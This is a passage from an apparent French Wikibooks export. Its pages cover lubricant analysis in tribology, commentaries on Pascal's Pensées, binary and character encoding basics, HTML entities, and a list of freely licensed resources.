douce provoque la contamination par un faible nombre de petites particules, au contraire, en cas d'usure galopante ou avant une avarie on observe de grosses particules dont le nombre croît rapidement ; leur forme varie beaucoup, plaquettes, écailles, sphérules de fatigue, microcopeaux ... Le comptage des particules en suspension dans un lubrifiant permet de se faire une idée du degré de pollution du mécanisme et des performances du système de filtration. Les boues et autres impuretés qui s'accumulent dans le lubrifiant diminuent ses performances, tandis qu'un système de filtration efficace augmentent sa durée de vie. Le remplacement s'impose lorsque les particules deviennent trop nombreuses. L'analyse des huiles et des fluides hydrauliques permet en outre d'évaluer leur degré de dégradation et d'effectuer les vidanges à bon escient, en particulier pour les huiles chargées d'additifs extrême pression consommables. Si cette opération n'a pas d'intérêt pour les quelques litres contenus dans le carter d'une automobile, en revanche elle se justifie pleinement pour les poids lourds et surtout pour les engins de chantier : une grosse pelle mécanique contient en effet plusieurs centaines de litres de fluides et la vidange coûte parfois le prix d'une petite voiture ! La [[w:fr:spectrométrie de fluorescence X|spectrométrie par fluorescence X]] est aujourd'hui largement utilisée pour l'analyse des huiles. Elle permet de doser non pas les composés chimiques qui s'y trouvent, mais les éléments chimiques qui les constituent, en particulier les atomes lourds des métaux, mais aussi le soufre, le phosphore, etc. L'opération est rapide mais les appareils utilisés sont très coûteux. La présence de métaux dans un lubrifiant donne de précieuses informations sur le mode d'usure d'un mécanisme et les performances de certains additifs. Comme pour l'eau, la tolérance des lubrifiants à une charge en métaux tels que le fer, le cuivre ou l'aluminium est très variable selon leur composition chimique et il n'est pas inutile de consulter les fournisseurs à ce sujet. === Contrôle de l'humidité === La présence d'humidité dans les lubrifiants peut nuire gravement au bon fonctionnement et à la durée de vie de certaines machines, en particulier si la concentration est telle que l'eau se trouve à l'état libre. Il est maintenant possible de mesurer en continu la teneur en eau des huiles ou des fluides hydrauliques, sans qu'aucun prélèvement soit nécessaire, grâce à des sondes spéciales reliées à des transmetteurs. La transmission directe des valeurs relevées à un système informatique permet de suivre les évolutions de cette teneur et, le cas échéant, d'intervenir si des dérives surviennent. Diverses entreprises fabriquent de tels instruments, par exemple Vaisala : http://www.vaisala.com == Lubrifiants et fatigue de surface == De nombreuses études ont permis d'évaluer l'influence de la composition chimique des huiles et des additifs sur l'usure par fatigue superficielle. On sait que les huiles paraffiniques ont vis-à-vis de cette forme de dégradation un bien meilleur comportement que les autres, en particulier les lubrifiants synthétiques. La présence d'additifs a des conséquences difficiles à prévoir. La durée de vie des pièces frottantes dépend beaucoup de la viscosité des huiles utilisées mais on peut indiquer par exemple que la présence de dithiophosphate de zinc tend à atténuer les différences. Ce produit augmente la durée de vie dans le cas de films minces et tend à la diminuer pour les films épais. == Lubrifiants « grand public » == Divers produits destinés au grand public sont vendus dans les quincailleries ou les grandes surfaces sous divers conditionnements, entre autres sous forme de pulvérisateurs. Il est généralement bien difficile de savoir ce qu'ils contiennent exactement. L'un des plus connus est appelé ''WD 40''. Thomas A. Kelley, de la société californienne IDEO, a expliqué récemment que WD signifiait ''water displacement'' et que les 39 premières formulations essayées n'avaient pas donné satisfaction ... Philosophie/Commentaire du passage à propos de l'Homme esclave du divertissement 2190 46375 2006-06-28T14:37:28Z Guillaumito 46 [[Commentaire du passage à propos de l'Homme esclave du divertissement]] déplacé vers [[Philosophie/Commentaire du passage à propos de l'Homme esclave du divertissement]]: Convention de nommage {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Histoire de la philosophie]]</center> |- | width="33%"|'''[[Histoire de la philosophie - La philosophie classique|'''3. Philosophie classique]]''' | width="34%" align="center"|'''[[Blaise Pascal]]''' | width="33%" align="right"| |} Commentaire de « ''Ainsi l'homme est si malheureux'' » jusqu'à « ''parce que personne ne les empêche de penser à eux'' » extrait de ''[[Les Pensées]]'' de [[Blaise Pascal]] == Introduction == Les Pensées, rédigées par Pascal entre 1656 et 1662 se présentent sous la forme d'un recueil de notes destinées à une apologie de la religion chrétienne qu'il n'eut pas le temps de mener à bien. Après avoir démontré que la position de l'homme dans l'Univers ne peut que le conduire à l'angoisse et au désespoir, Pascal s'en prend à l'aveuglement humain qui cherche dans le divertissement un moyen d'échapper à cette situation tragique au lieu d'en tirer les conséquences et d'envisager son salut. Comme toujours chez Pascal l'organisation logique s'appuie sur des procédés rhétoriques dans le but non seulement de convaincre mais de persuader son interlocuteur. On observe ainsi trois étapes dans cette démonstration du rôle fondamental du divertissement dans l'existence humaine. Tout d'abord dans les lignes 1 à 5, l'énoncé de la thèse selon laquelle l'homme n'est pas libre mais asservi au divertissement puis un premier exemple qui l'illustre « Avec le divertissement il n'y a point de tristesse » suivi d'un deuxième exemple plus inattendu axé autour du thème « Sans le divertissement, point de joie ». == I Examen de l'énoncé de la thèse qui met en évidence la vanité humaine et les effets surprenants du divertissement. == Les deux caractéristiques de la condition humaine : le malheur lié à l'ennui et la vanité, c'est-à-dire le vide et l'inconsistance vont être développés pour montrer à quel point l'homme s'ennuierait sans cause d'ennui. Le paradoxe en ce qui concerne la vanité est appuyé sur l'antithèse qui fait l'état d'une part de « nulles causes essentielles d'ennui » et d'autre part de la distraction futile qu'il trouve pour y porter remède (« la moindre chose »). Le thème du jeu est intentionnellement présenté par une synecdoque (il parle de la balle pour parler du jeu) renforcée par l'allitération (« billard, balle ») et par l'emploi du verbe « pousser » qui dévalorise cette activité. L'homme est d'emblée présenté comme une créature irrationnelle qui tourne à tout vent. Pascal va s'employer à en apporter des preuves en développant deux exemples pour soutenir sa thèse. == II L'homme accablé sur le plan familial et financier == *a) Étude de cas Pascal va utiliser un système questions-réponses, caractéristique du style oratoire. Dans la question il nous présente le cas extrême de l'homme qui a perdu son fils unique depuis deux mois, qui est accablé de procès et qui semble cependant ne plus y penser. Pascal amène la réponse en entretenant le suspense : « ne vais en étonner point ». Avant d'apporter une solution à peine convenable, il est tout occupé par une partie de chasse. Le commentaire de Pascal est bref et ironique : « il n'en faut pas davantage ». *b) L'auteur reprend le paradoxe de la première partie qui semble pleinement démontré : « l'homme quelque plein de tristesse qu'il soit ». Cette reprise s'accompagne d'une ironie qui se traduit par l'évolution vers un style oral et plus familier (« le voilà heureux pendant ce temps-là ». L'auteur annonce alors le thème de la seconde partie (« Et l'homme, quelqu'heureux qu'il soit, s'il n'est diverti... ») avant de passer à un cas probant, Pascal reprend sous la forme d'une antithèse marquante le thème de la vanité humaine qui ne trouve son bonheur que dans le divertissement. Pascal a à nouveau recours à un exemple : celui des « grands » (les ministres, ceux qui occupent des charges importantes). *c) Comment Pascal considère-t-il les grands personnages du royaume ? Selon Pascal, les personnes importantes de l'État (les ministres) sont heureux, non parce qu'ils remplissent une tâche utile, mais ils sont heureux car ils sont dans une situation privilégiée du divertissement étant donné le grand nombre de personnes qui les entourent et qui se consacrent à les divertir. *d) Pascal pour développer sont point de vue a de nouveau recours au dialogue fictif. Ceci sous la forme d'une phrase injonctive « prenez-y garde » qui entretient le suspense comme dans le premier exemple, suivi d'une interrogation oratoire, ironique, qui démasque l'hypocrisie sociale en exprimant le point de vue janséniste de Pascal sur la politique, qui n'est une forme de divertissement. Pour Pascal, en effet, les activités politiques et sociales n'ont pas plus d'importance que le jeu de paume ou de billard. La société n'est pas susceptible d'améliorations, seule la vanité humaine peut s'en persuader car pour le chrétien pessimiste qu'est Pascal, « Le royaume n'est pas de ce monde » (Évangile de Jean qui rapporte une parole du Christ). *e) L'hypocrisie de Pascal se vérifie pleinement grâce à un changement de contexte. Au sein de l'abondance et de la sérénité, notions sur lesquelles pascal insiste malignement, « les grands » éprouvent un malheur intense car ils sont livrés à eux-mêmes et au sentiment de leur néant « ils ne cessent pas d'être misérables et abandonnés ») car ils sont privés de divertissement. == Conclusion == Pascal s'efforce de convaincre son interlocuteur par la rigueur d'une analyse qui envisage méthodiquement les différents cas de figure en s'appuyant sur une observation complète. Mais emporté par sa conviction, il ne se fait pas de scrupules de le séduire en proposant comme évidents des exemples discutables et en l'attirant dans ses vues par un discours fictif. Le destinataire se fait alors complice de l'ironie développée par l'auteur à l'égard des hommes esclaves du divertissement, ce qui devrait logiquement l'amener à y renoncer. [[catégorie:Commentaire philosophique]] Philosophie/Commentaire du passage à propos des deux infinis 2191 46377 2006-06-28T14:37:44Z Guillaumito 46 [[Commentaire du passage à propos des deux infinis]] déplacé vers [[Philosophie/Commentaire du passage à propos des deux infinis]]: Convention de nommage {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Histoire de la philosophie]]</center> |- | width="33%"|'''[[Histoire de la philosophie - La philosophie classique|'''3. Philosophie classique]]''' | width="34%" align="center"|'''[[Blaise Pascal]]''' | width="33%" align="right"| |} Commentaire de « ''Que l'homme contemple donc la nature entière'' » jusqu'à « ''Tout autre ne peut le faire'' » extrait de ''[[Les Pensées]]'' de Blaise Pascal. == Introduction == Dans les Pensées, œuvre posthume publiée en 1670, Pascal réunit les notes qu’il destinait à l’élaboration d’une apologie (= justification, défense d’une chose, d’une institution d’une personne) de la religion chrétienne. Exercé en tant que scientifique au maniement de la logique, Pascal a pris conscience lors de sa période mondaine (1651-1654) de l’intérêt de la rhétorique, pour persuader un interlocuteur libertin qu’il voudrait tourner vers Dieu. L’évocation des deux infinis est une illustration célèbre de cette alliance de la rigueur logique et du recours aux procédés de style. C’est pourquoi après avoir mis en évidence le schéma argumentatif du passage, nous étudierons l’utilisation que fait Pascal de la rhétorique pour emporter l’adhésion du lecteur. == I) Étude du schéma argumentatif du passage == Pascal qui s’est assigné comme objectif de montrer à l’homme les limites de sa raison, construit son explication en trois points : *1. En bon pédagogue il s’appuie tout d'abord sur ce que l’homme peut observer par lui-même de plus impressionnant : le spectacle de la voûte céleste dont il est obligé de convenir qu’il le dépasse. *2. Puis il envisage les données que pouvait fournir l’imagination au sens scientifique, quand elle dépasse les apparences sensibles pour montrer au libertin confiant dans sa raison, les limites de la pensée conceptuelle. Notre imagination se perd dans cette pensée, c'est-à-dire la pensée de Dieu, auteur de la nature. *3. Il conclut avec logique et ironie que l’homme n’est rien ni dans l’espace ni par la pensée. == II) Le recours à la rhétorique == Chacune de ces étapes est rendue frappante donc plus convaincante par le recours à la rhétorique. *a) Etude des données observables Après avoir mis l’homme en situation en l’invitant à se tourner vers le haut et à se détacher des objets bas, Pascal se livre à la description grandiose de la voûte céleste à l’occasion de laquelle il multiplie les procédés stylistiques. C’est d’abord une double évocation du thème de la lumière à l’aide d’une périphrase, où le soleil est désigné par l’expression "cette éclatante lumière", puis une comparaison impressionnante : "une lampe éternelle". Puis une gradation qui dépeint l’enchaînement sans fin des orbites décrites par les différents astres (trois niveaux de cercles :la Terre et le Soleil sont le premier tour par exemple) associé à la métaphore scientifique du point de la pointe très délicate qui constitue ce vaste ensemble aux regards de l’immensité de l’Univers. Le jeu de sonorités ("que les astres qui roulent dans le firmament embrassent" : assonance en « r ») évoquent ce développement infini des cercles dont l’homme ne voit pas la fin. L’évidence de cette constatation est soulignée par la présence des phrases injonctives (Que…que…que) prouvant que l’homme peut aisément s’en convaincre par lui-même. La majesté du spectacle est mise en évidence par un rythme ternaire (qu’il regarde…) qui donne une impression de vertige dans la mesure où il épouse les étapes de la gradation qui amène l’homme aux confins de l’inconcevable. *b) l’étude de l’imagination Mais Pascal poursuivant sa démonstration nous invite à dépasser cette première étape pour explorer les ressources de l’imagination, de la pensée spéculative pour dépasser les limites de l’observation pure (que l’imagination passe outre). Pascal alors s’appuie essentiellement sur des antithèses qui en démontrent la faiblesse. Alors ce que nous observons n’est qu’un trait imperceptible dans l’ample sein de la nature (l’imagination se lassera de concevoir mais pas la nature de fournir...l’Homme enfle ses conceptions mais n’enfante que des atomes). L’analyse s’achève par l’énoncé d’un paradoxe déroutant pour un esprit scientifique (sphère infinie dont le centre est partout et le circonférence nulle part) Comment l’argument des merveilles de la création comme preuve de l’existence de Dieu serait-il réfutable pour un homme incapable de comprendre par la pensée l’organisation de l’Univers (puisqu’il s’y perd...). *c)Le retour à l’homme et les conclusions de la démonstration Après cette évocation brillante de la toute puissance divine, Pascal revient à l’Homme pour lui faire ressentir sa vanité et son néant. Il commence par une antithèse associée à un jeu de mots que l’homme considère ce qu’il est au prix de ce qui est c’est-à-dire qu’il prenne conscience de son néant où peu s’en faut par rapport à l’étendu et à la puissance de la nature crée par Dieu. Il poursuit en commentant cette constatation par des métaphores ironiques (égaré dans un canton...logé dans un petit cachot), expressions qui insistent sur les limites de l’homme dans l’espace et dans les capacités de raisonner : activité humaine égarée dans l’espace, raison qui ne va pas très loin. Il a sorti les deux images d’une remarque piquante et paradoxale (j’entends l’Univers :l’homme se croit au centre de l’Univers) propre à désespérer un libertin, persuadé de pouvoir dominer la nature par la raison. == Conclusion == Ce texte célèbre le plus caractéristique de la stratégie pascalienne qui allie le brio de l’homme de lettres à la rigueur de l’homme de sciences et de sa pensée toujours en mouvement qui n’hésite pas devant le paradoxe pour atteindre un plus haut degré de vérité. Conscient des limites de la pensée humaine il la juge incapable de rendre compte de la complexité du monde et il considère le recours à Dieu dans l’ordre de la charité comme le seul moyen d’échapper à l’illusion et au désespoir. [[catégorie:Commentaire philosophique]] WILL Modèle:Tribologie 2192 38635 2006-03-23T15:52:49Z Jean-Jacques MILAN 114 {| style="border:2px solid darkgray" cellpadding="3" cellspacing="3" align="center" |- | bgcolor="#EEFBFF" |<br/><center><big>'''Ce document fait partie du Wikilivre consacré à la [[tribologie]]'''.</big></center><br/> {{Tribologie1}} |- |} [[Catégorie:Tribologie]] Représentation des données 2193 13813 2005-01-03T11:32:41Z Guillaumito 46 /* Vocabulaire */ liens wikipédia/wiktionnaire {{ébauche}} {{Représentation des données}} ==Généralités== ===Vocabulaire=== Les nombres sont représentés par une suite de 0 ou de 1 que l'on appelent « bits ». Un groupe de huit bits est un « octet ». Définitions de bit sur [[w:fr:Bit|Wikipédia]] et dans le [[wikt:fr:Bit|Wiktionnaire]].<br/> Définitions d'octet sur [[w:fr:Octet|Wikipédia]] et dans le [[wikt:fr:Octet|Wiktionnaire]]. ===Notations=== Nous utiliserons les notations suivantes : * les nombres décimaux sont notés de manière « classique » ; * les nombres dans d'autres bases sont notés (nombre)<sub>b</sub> où ''b'' est la base du nombre. Représentation des nombres 2194 13814 2004-12-31T13:33:50Z Guillaumito 46 Représentation des nombres déplacé vers Représentation des données #REDIRECT [[Représentation des données]] Modèle:Représentation des données 2195 13815 2005-01-28T10:28:49Z Guillaumito 46 {| style="margin-left:5px;float:right;background:#E0B0E0;border:thin black solid;" cellspacing="0" cellpadding="5" | style="background:#D090D0;" | [[Représentation des données]] |- | * [[Représentation des données Entiers|Entiers]] * [[Représentation des données Réels|Réels]] * [[Représentation des données Caractères|Caractères]] |- | style="border-top:1px #808080 solid; padding-top:0px;" | * [[Représentation des données Ordre des octets|Ordre des octets]] |- | style="background:#D090D0;font-size:10px;text-align:right;" | [{{SERVER}}{{localurl:Modèle:Représentation des données|action=edit}} Modifier le modèle] |} Représentation des données Entiers 2196 13816 2004-12-31T15:31:39Z Guillaumito 46 juste supprimé une ligne...plus mieux joli comme ça :) {{Représentation des données}} Nous allons dans cette partie présenter différentes manières de représenter les entiers signés ou non. Les deux codages à retenir dans cette partie sont le '''codage binaire non signé''' et le codage en '''complément à 2''' qui sont ceux utilisés les plus couramment en informatique. ==BCD== Le codage BCD (pour '''B'''inary '''C'''oded '''D'''ecimal) code chaque chiffre d'un nombre en base 10 par un octet : {| cellpadding="5" cellspacing="0" style="background:#E0B0E0;border:thin black solid;" | 0 : 00000000 || style="background:#D090D0;" | 2 : 00000010 || 4 : 00000100 || style="background:#D090D0;" | 6 : 00000110 || 8 : 00001000 |- | 1 : 00000001 || style="background:#D090D0;" | 3 : 00000011 || 5 : 00000101 || style="background:#D090D0;" | 7 : 00000111 || 9 : 00001001 |} Le codage d'un entier est alors immédiat, il suffit de mettre bout à bout le codage de chaque chiffre du nombre. Par exemple le codage de 1978 est (00000001000010010000011100001000)<sub>2</sub>. On peut remarquer que les quatre premiers bits de chaque octet sont toujours nul, on peut « compresser » le codage BCD en placant deux chiffres sur le meme octet, le codage de 1978 devient alors : (0001100101111000)<sub>2</sub>. ==Codage binaire non signé== Chaque bit représente une puissance de deux, plus précisement un bit en position i dans le nombre correspond à 2<sup>i</sup>. {| style="background:#E0B0E0;border:thin black solid;" cellpadding="5" cellspacing="0" | valeur || 2<sup>7</sup> || 2<sup>6</sup> || 2<sup>5</sup> || 2<sup>4</sup> || 2<sup>3</sup> || 2<sup>2</sup> || 2<sup>1</sup> || 2<sup>0</sup> |- | position || 7 || 6 || 5 || 4 || 3 || 2 || 1 || 0 |} Pour obtenir la valeur d'un entier, il suffit de faire la somme de ses puissances de deux, par exemple : {| | (00000101)<sub>2</sub> || = || 0 * 2<sup>7</sup> + 0 * 2<sup>6</sup> + 0 * 2<sup>5</sup> + 0 * 2<sup>4</sup> + 0 * 2<sup>3</sup> + 1 * 2<sup>2</sup> + 0 * 2<sup>1</sup> + 1 * 2<sup>0</sup> |- | || = || 2<sup>2</sup> + 2<sup>0</sup> |- | || = || 4 + 1 = 5 |} L'opération contraire (trouver la représentation d'un entier en base 2) s'effectue ainsi : # diviser le nombre par 2 ; # noter le reste de la division (0 ou 1) ; # recommencer l'opération avec le résultat de la division tant que le nombre n'est pas nul. Par exemple pour convertir 13 : * 13 / 2 = 2 * 6 + 1, on note 1 et on continue avec 6 ; * 6 / 2 = 2 * 3 + 0, on note 0 et on continue avec 3 ; * 3 / 2 = 2 * 1 + 1, on note 1 et on continue avec 1 ; * 1 / 2 = 2 * 0 + 1, on note 1 et on s'arrête. Les restes des divisions successives donnent alors les bits du codage de 13 en base 2 en commencant par la droite. 13 s'écrit donc (1101)<sub>2</sub> ===Addition=== L'addition de deux nombres s'effectue comme une addition « classique » avec les règles suivantes : * (0)<sub>2</sub> + (0)<sub>2</sub> = (0)<sub>2</sub> * (1)<sub>2</sub> + (0)<sub>2</sub> = (0)<sub>2</sub> + (1)<sub>2</sub> = (1)<sub>2</sub> * (1)<sub>2</sub> + (1)<sub>2</sub> = (10)<sub>2</sub> La deuxième chose à prendre en compte est que les nombres sont limités à un certain nombre de bits et que des débordements peuvent se produire et que dans ce cas, les résultats ne seront pas corrects. Par exemple sur 8 bits : 129 + 127 = (10000001)<sub>2</sub> + (01111111)<sub>2</sub> = (00000000)<sub>2</sub> = 0 ===Multiplication=== Le cas le plus simple de multiplication est la multiplication par 2. En effet chaque bit correspondant à une puissance de 2, une multiplication par deux revient à décaler chaque bit d'un cran vers la gauche. {| | 7 * 2 || = || (00000111)<sub>2</sub> * 2 |- | || = || (00001110)<sub>2</sub> = 14 |} Dans le cas général, la multiplication de deux nombres consiste à faire la somme des décalages. Pour multiplier 3 par 5 sur 4 bits : {| cellpadding="5" cellspacing="0" | décalages de 3 || bits de 5 |- | 0011 || 1 |- | 0110 || 0 |- | 1100 || 1 |- | 1000 || 0 |} On fait la somme des décalages de 3 pour lesquels les bits de 5 sont à 1, ce qui fait (0011)<sub>2</sub> + (1100)<sub>2</sub> = (1111)<sub>2</sub> = 15. ===Division=== De même que multiplier par 2 revient à décaler les bits vers la gauche, diviser par 2 revient à décaler les bits vers la droite. ==Codage binaire signé== Dans le cas des entiers signés, on utilise le bit de poids le plus fort comme bit de signe, si il vaut 0 l'entier est positif, sinon il est négatif. ==Complément à 1== ==Complément à 2== La notation la plus courament utilisée pour les entiers signés est le complément à deux : * un entier positif est représenté « normalement » ; * un entier négatif est obtenu à partir de sa valeur absolue et en réalisant le complément à deux, chaque bit est inversé puis on ajoute 1 au résultat. Par exemple pour représenter -56 sur 8 bits : * on cherche la représentation de 56 : 56 = 32 + 16 + 8 = (00111000)<sub>2</sub> ; * on complémente (on inverse chaque bit) : (11000111)<sub>2</sub> ; * et on ajoute 1 : (11001000)<sub>2</sub>. ===Addition=== La notation en complément à deux a l'énorme avantage d'être compatible avec l'opération d'addition telle que nous l'avons définie sur les entiers non signés, en effet essayons d'additionner 56 et -56 sur 8 bits : {| | 56 + (-56) || = || (00111000)<sub>2</sub> + (11001000)<sub>2</sub> |- | || = || (00000000)<sub>2</sub> = 0 |} Les résultats obtenus peuvent néanmoins être surprenants, par exemple sur 8 bits : {| | 50 + 90 || = || (00110010)<sub>2</sub> + (01011010)<sub>2</sub> |- | || = || (10001100)<sub>2</sub> = -120 |} Ce qu'il s'est produit est que les retenues du calcul ont débordé sur le bit de signe donnant ainsi un résultat négatif pour la somme de deux positifs. Représentation des données Réels 2197 13817 2005-01-30T22:17:58Z 81.220.38.56 /* Virgule flottante */ {{Représentation des données}} ==Virgule fixe== Les réels sont représentés par deux entiers, le premier pour la partie entière, le second pour la partie décimale. Le nombre de bits résérvés à chacune de ces deux parties (l'endroit où on place la virgule) est fixe. ==Virgule flottante== On représente les réels avec trois informations : * le signe ; * l'exposant ; * la mantisse. LSF:Exercices de dactyologie et chiffres 2198 13818 2004-12-31T15:33:19Z Kowey 113 LSF:Exercices de dactyologie et chiffres déplacé vers LSF/Exercices de dactyologie et chiffres #REDIRECT [[LSF/Exercices de dactyologie et chiffres]] LSF:Dialogues simples 2200 13820 2004-12-31T15:37:08Z Kowey 113 LSF:Dialogues simples déplacé vers LSF/Dialogues simples #REDIRECT [[LSF/Dialogues simples]] Représentation des données Caractères 2201 29615 2006-01-20T23:46:53Z Guillaumito 46 ajout {{Représentation des données}} ==ASCII== {| | NUL || SOH || STX || ETX || EOT || ENQ || ACK || BEL || BS || HT || LF || VT || FF || CR || SO || SI |- | DLE || DC1 || DC2 || DC3 || DC4 || NAK || SYN || ETB || CAN || EM || SUB || ESC || FS || GS || RS || US |- | SP || ! || " || # || $ || % || & || ' || ( || ) || * || + || , || - || . || / |- | 0 || 1 || 2 || 3 || 4 || 5 || 6 || 7 || 8 || 9 || : || ; || < || = || > || ? |- | @ || A || B || C || D || E || F || G || H || I || J || K || L || M || N || O |- | P || Q || R || S || T || U || V || W || X || Y || Z || [ || \ || ] || ^ || _ |- | ` || a || b || c || d || e || f || g || h || i || j || k || l || m || n || o |- | p || q || r || s || t || u || v || w || x || y || z || { || &#124; || } || ~ || DEL |} ==ISO-8859== == Unicode == === UTF-8 === UTF-8 est un codage à taille variable, chaque caractère peut être représenté par un, deux, trois ou quatre octets. Ce codage est une représentation d'Unicode compatible avec le codage ASCII sur 7 bits. Modèle:25 2202 17997 2005-07-29T14:25:36Z Darkdadaah 440 +légende en cours [[image:25%.png|En cours]] Modèle:50 2203 30315 2006-01-25T09:47:27Z Boly38 136 +libellé (à modifier éventuellement, mais mettre un libellé) [[image:50%.png|Fait à environ 50 %]] Modèle:100 2204 30317 2006-01-25T09:49:20Z Boly38 136 +libellé (à reformuler éventuellement, mais mettre un libellé) [[image:100%.png|Une version complète existe]] Modèle:75 2205 30316 2006-01-25T09:48:24Z Boly38 136 +libellé (à reformuler éventuellement, mais mettre un libellé) [[image:75%.png|En cours de finition]] Avertissement et securité dans la manipulation des batteries 2206 13826 2005-01-03T10:31:32Z CR 154 Avertissement et securité dans la manipulation des batteries déplacé vers Avertissement et sécurité dans la manipulation des batteries #REDIRECT [[Avertissement et sécurité dans la manipulation des batteries]] Programmation HTML Entités 2208 30835 2006-01-29T20:24:56Z Adtech 1095 /* Liste des entités */ {{Programmation HTML}} == Définition == [[Programmation HTML|HTML]] utilise un jeu d''''entités''' pour incorporer des caractères spéciaux dans le document. Plus simplement, vous tapez une sorte de mot spécial (oui c'est ça, un mot magique), et miraculeusement il se transforme en un joli caractère quand vous affichez la page dans un navigateur. Ces entités ont toutes la même tête : elles sont précédées d'une ''esperluette'' (&) et suivies d'un ''point-virgule'' (;). Il est possible de recourir à deux types d'entités : * les entités numériques composées d'un nombre précédé du caractère ''dièse'' (#) entre l'''esperluette'' et le ''point-virgule'' ; * les entités caractères composées d'une chaîne de caractères entre l'''esperluette'' et le ''point-virgule''. Ainsi il est possible d'écrire le signe euro (€) de deux manières : * <code>&amp;#128;</code> qui en est l'entité numérique ; * <code>&amp;euro;</code> qui en est l'entité caractère. == Utilité == À quoi servent les entités quand on peut taper directement les symboles au clavier ? Imaginez que vous vouliez afficher du code HTML sur votre page. Vous voulez par exemple afficher le texte "<nowiki><i></nowiki>". Seulement voilà, le navigateur va croire que c'est une balise, et ne rien afficher mais mettre le texte en italique. La solution est de de ne pas utiliser les caractères < et > mais les entités correspondantes : respectivement <code>&amp;lt;</code> (de l'anglais ''less than'', ''inférieur à'') et <code>&amp;gt;</code> (de l'anglais ''greater than'', ''plus grand que''). ''&lt;i&gt;'' devient donc <code>&amp;lt;i&amp;gt;</code>.<br /> À noter que pour afficher "C'est par là ->", même si le navigateur va en général faire ce qu'on a envie qu'il fasse à savoir afficher le symbole > (ou < la cas échéant) tel quel, il est de bon ton de remplacer quand même < et > par leurs entités, sous peine de se faire remonter les bretelles par le validateur. De la même façon, si vous voulez afficher le texte "&amp;euro;", et bien il faudra ruser pour que le navigateur ne croie pas qu'on veut afficher le caractère €. On remplacera donc le caractère & par l'entité correspondante : <code>&amp;amp;</code>.<br /> Et pour afficher le texte "&amp;amp;" on fait comment ? Je sens que vous avez deviné : <code>&amp;amp;amp;</code>.<br /> Comme pour < et >, si vous voulez afficher le texte "&salut;" (qui n'existe pas comme entité hein), "Hey, &salut ça va ?", ou "Machin & Compagnie", il est recommandé de remplacer & par &amp;amp;. Notez que les deux ''ruses de sioux'' exposées précédemment sont utilisées sur cette page, vous n'avez qu'à regarder le code source ! Il y a aussi d'autres utilisations des entités. Par exemple elle vous permettent d'utiliser des caractères qu'autrement vous ne savez pas taper au clavier. Par exemple, je ne sais pas, tout le monde ne sait pas taper ∉ (le signe mathématique pour dire "n'appartient pas à") alors qu'avec un petit <code>&amp;notin; </code>, le tour est joué. Il existe enfin une dernière utilisation des entités, pour palier les problèmes d'encodage quand on ne sait pas trop y faire. [explications à compléter] == Liste des entités == [http://www.la-grange.net/w3c/html4.01/sgml/entities.html la-grange.net] Liste complète, en français, des entités utilisées par HTML (extrait d'une traduction de la recommandation du W3C). Elle n'est pas très jolie mais vous devriez vous y retrouver. Chaque ligne commençant par <code><!ENTITY </code> est suivie par le nom de l'entité, à insérer entre ''&'' et '';'' pour avoir l'entité caractère, le mot <code> CDATA</code> dont vous ferez abstraction, puis entre guillemets l'entité numérique, et enfin la description du caractère en bon français (suivis par quelques trucs dont vous ferez aussi abstraction). Wikilivres:Ressources libres de droit 2210 17688 2005-07-26T07:54:37Z Yann 2 /* Textes */ (ABU a une licence particulière, mais qui est probablement abusive.) Cette page liste des ressources disponibles sur Internet et libres au sens de la [http://fr.wikipedia.org/wiki/FSF FSF]. Cela signifie '''généralement''' qu'elles peuvent être importées dans Wikipédia, mais il faut quand même vérifier que la licence d'utilisation, quand il y en a une, est compatible avec la [[GFDL]]. Les ressources du [[w:fr:domaine public|domaine public]] sont en particulier des ressources libres. Cette page est une reprise partielle de la [[w:fr:Wikipédia:Ressources_libres_de_droit|page correspondante de Wikipédia]], où n'ont été conservées que les catégories correspondantes à des étagères existantes. === Sciences === * [http://www.sciences.ch/htmlfr/accueil.php Maths et physique pure] sous licence [[w:fr:GNU]]. * '''Astronomie''' : AstroInfo, dans le manuel de KStars, regroupe des articles sur l'astronomie (traduit en français) http://docs.kde.org/fr/HEAD/kdeedu/kstars/astroinfo.html (GFDL) * Physique des particules : Des infos libres de droits sur le [[w:fr:CMS]] http://cmsinfo.cern.ch/Welcome.html/index.html * '''Biologie''' : [http://plosbiology.org Public Library of Science] une revue scientifique en anglais dont les articles sont publiés sous la licence Creative Commons Attribution (by) qui autorise toute utilisation du contenu à condition de citer l'auteur (c'est-à-dire, dans ce cas présent, la Public Library of Science). * '''Botanique''' : [http://perso.wanadoo.fr/philippe.julve/catminat.htm Julve, Ph., 1998 ff. - Baseflor. Index botanique, écologique et chorologique de la flore de France.] Dernière version de la base de donnée sur [http://www.tela-botanica.org Tela-Botanica] 6000 taxons de la flore de france caractérisés. ** Message reçu de l'auteur: ''utilisation libre, voir exemple de citation sur mon website, répertoire catminat. Citer mon site et/ou le site tela-botanica.org où ce fichier est également mis en ligne.'' * '''Zoologie''' : ** [http://www.museum.nantes.fr/pages/07-actioneducative/banque.htm Muséum d'histoire naturelle de Nantes]. Attention : faire figurer ''"© Patrick JEAN / muséum d'histoire naturelle de Nantes"'' pour toute utilisation ** [http://fazerty.free.fr/index.htm Images d'aquariophilie, le site photo libre de droits.]. "Le principe de mon site « la photo libre de droit », par conséquent la libre utilisation de nos images. Attention même si les photos sont libres un mail aux auteurs est nécessaire." === Informatique === * Dictionnaire de termes informatique sous licence [[w:fr:GNU]] [[w:fr:FDL]] http://www.linux-france.org/prj/jargonf/ . * Un autre : http://www.aboul.org/ (définitions brèves mais nombreuses) * Comment ça marche ? http://www.commentcamarche.net/ sous licence [[GFDL]]. :: L'article [[w:fr:UNIX]] donne un exemple d'intégration à un article de Wikipédia d'un extrait d'article de ''Comment ça marche ?'' * L'ensemble des [[w:fr:RFC]] (Request For Comments). http://rfc.x42.com/ * [http://casteyde.christian.free.fr/online/cours_cpp/book1.html] Cours de C++ sous GFDL * [http://casteyde.christian.free.fr/online/install_linux/book1.html] Guide d'installation de Linux sous GFDL * [http://www.le-radar.com/?mm/gimp livre sur GIMP] * [http://www.afnic.fr/doc/formations/supports/_fr] Supports de cours sous GFDL * [ftp://ctan.tug.org/tex-archive/info/] Liens vers des documentations LaTeX et assimilés, vérifier les licences ! La plupart des documents semblent être sous GFDL, mais pas tous. === Textes === * [http://abu.cnam.fr ABU] : l'Association des Bibliophiles Universels propose des livres français. (Le projet semble inactif depuis au moins un an, mais la bibliothèque reste disponible.) (ABU a une licence particulière, mais qui est probablement abusive, tous les livres étant dans le domaine public.) * [http://www.gutenberg.net/ Projet Gutenberg] : De nombreux livres, comme 